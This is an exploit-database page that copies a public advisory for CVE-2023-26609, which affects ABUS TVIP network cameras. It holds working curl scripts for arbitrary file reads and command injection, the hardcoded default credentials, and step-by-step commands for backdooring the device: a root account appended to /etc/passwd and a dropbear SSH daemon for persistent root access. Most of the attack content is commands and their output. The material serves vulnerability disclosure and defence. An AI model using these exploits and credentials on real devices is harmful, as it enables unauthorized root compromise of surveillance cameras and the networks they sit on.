Advertisement






ABUS Security Camera TVIP 20000-21150 LFI / Remote Code Execution

CVE Category Price Severity
CVE-2023-26609 CWE-1 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2023-02-27
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023020046

Below is a copy:

ABUS Security Camera TVIP 20000-21150 LFI / Remote Code Execution
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Exploit Title:ABUS Security Camera LFI, RCE and SSH Root Access
# Date:2023-02-16
# Exploit Author:[email protected] for NetworkSEC [NWSSA-001-2023]
# Vendor Homepage:https://www.abus.com
# Version/Model:TVIP 20000-21150 (probably many others)
# Tested on:GM ARM Linux 2.6, Server: Boa/0.94.14rc21
# CVE:CVE-2023-26609
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


++++++++++++++++++++
0x00DESCRIPTION
++++++++++++++++++++

During a recent engagement, a network camera was discovered. Web fuzzing 
revealed a URL of

/device

containing output about running processes as well as a pretty complete 
listing of webcontent which inevitably arose our suspicion.

More research revealed that files w/ known LFI and RCE issues were present, 
leading to either arbitrary file reads or remote code execution, both w/ 
root privileges and using known default credentials (either admin:admin 
or manufacture:erutcafunam).

After closer filesystem inspection, RCE led to a remote root SSH shell.


+++++++++++++++
0x01IMPACT
+++++++++++++++

The LFI vulnerability can be exploited using a URL of:

/cgi-bin/admin/fileread?READ.filePath=[filename]

and is able to read any file on the system.


The RCE vulnerability originates from a command injection and may be 
exploited by calling a URL of:

/cgi-bin/mft/wireless_mft?ap=irrelevant;[command]

(as classy as it can get, we can also use the pipe "|" instead, and
linefeed a.k.a. "%0a" works as well)

effectively giving us remote code (or rather command) execution.


+++++++++++++++++++++++++++++++
0x02 PROOF OF CONCEPT (PoC)
+++++++++++++++++++++++++++++++

#!/bin/bash
#
# ABUS Security Camera LFI
#
curl -iv "http://admin:[email protected]/cgi-bin/admin/fileread?READ.filePath=/$1"

The script can be called like:

./LFI.sh /etc/passwd

to display the contents of the passwd file. When reading the configuration of
the BOA server (/etc/boa.conf), we find hardcoded credentials:

# MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam 

These can now be used to execute the RCE (based on command injection):

#!/bin/bash
#
# ABUS Security Camera RCE
#
curl -iv "http://manufacture:[email protected]/cgi-bin/mft/wireless_mft?ap=testname;$1"

and can be called like:

./LFI.sh id

to display a user id of 

uid=0(root) gid=0(root)


+++++++++++++++++++++++++++++++
0x03SSH Remote Root Access
+++++++++++++++++++++++++++++++

After having discovered the previously described vulnerabilities, multiple 
attempts to spawn a nice reverse shell failed as the system was minimal 
and did neither offer binaries like bash or netcat, nor any compilers or 
scripting language interpreters to execute our code. Furthermore, binaries 
that we transferred onto the system (for ARM little-endian architecture) 
either resulted in "Segmentation fault" (mfsvenom) or as we saw later
"Illegal instruction" (netcat for ARM).

We had to inspect the local attack surface and use the LOLBIN approach,
a.k.a. living off the land binaries available on the system. 

In this case, the minimal and often busybox-included dropbear SSH daemon 
became pretty handy. 


To successfully implement a remote root SSH shell for persistance, several 
steps had to be undertaken:


1) First, we had to create a valid SSH keyset by reusing our RCE.sh skript:

./RCE.sh "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"


2) Then, add our user to the password file, e.g.:

./RCE.sh "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd"


3) Finally, start the server:

./RCE.sh "/etc/dropbear/dropbear%20-E%20-F"


We can now SSH (using obsolete and insecure algorithms for both KeyExchange and HostKey) 
into our rootshell:

sshpass -p XXXXXXX ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa [email protected]

Welcome to

    _____    __      ___       __     ___       _     _    _
   |  ___|  /  \    / __ \    /  \   |  _ \    /  \   \ \ / /
   | |___  / /\ \  | /__\ \  / /\ \  | | \ |  / /\ \   \ V /
   |  ___|| |__| | |  _   / | |__| | | | | | | |__| |   \ /
   | |    |  __  | | |  \ \ |  __  | | |_/ / |  __  |   | |
   |_|    |_|  |_| |_|   \_\|_|  |_| |___ /  |_|  |_|   |_|

For further information check:
http://www.GM.com/

BusyBox v1.1.3 (2012.07.16-03:58+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

[d1g]# id
uid=0(root) gid=0(root)


---

#EOF

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.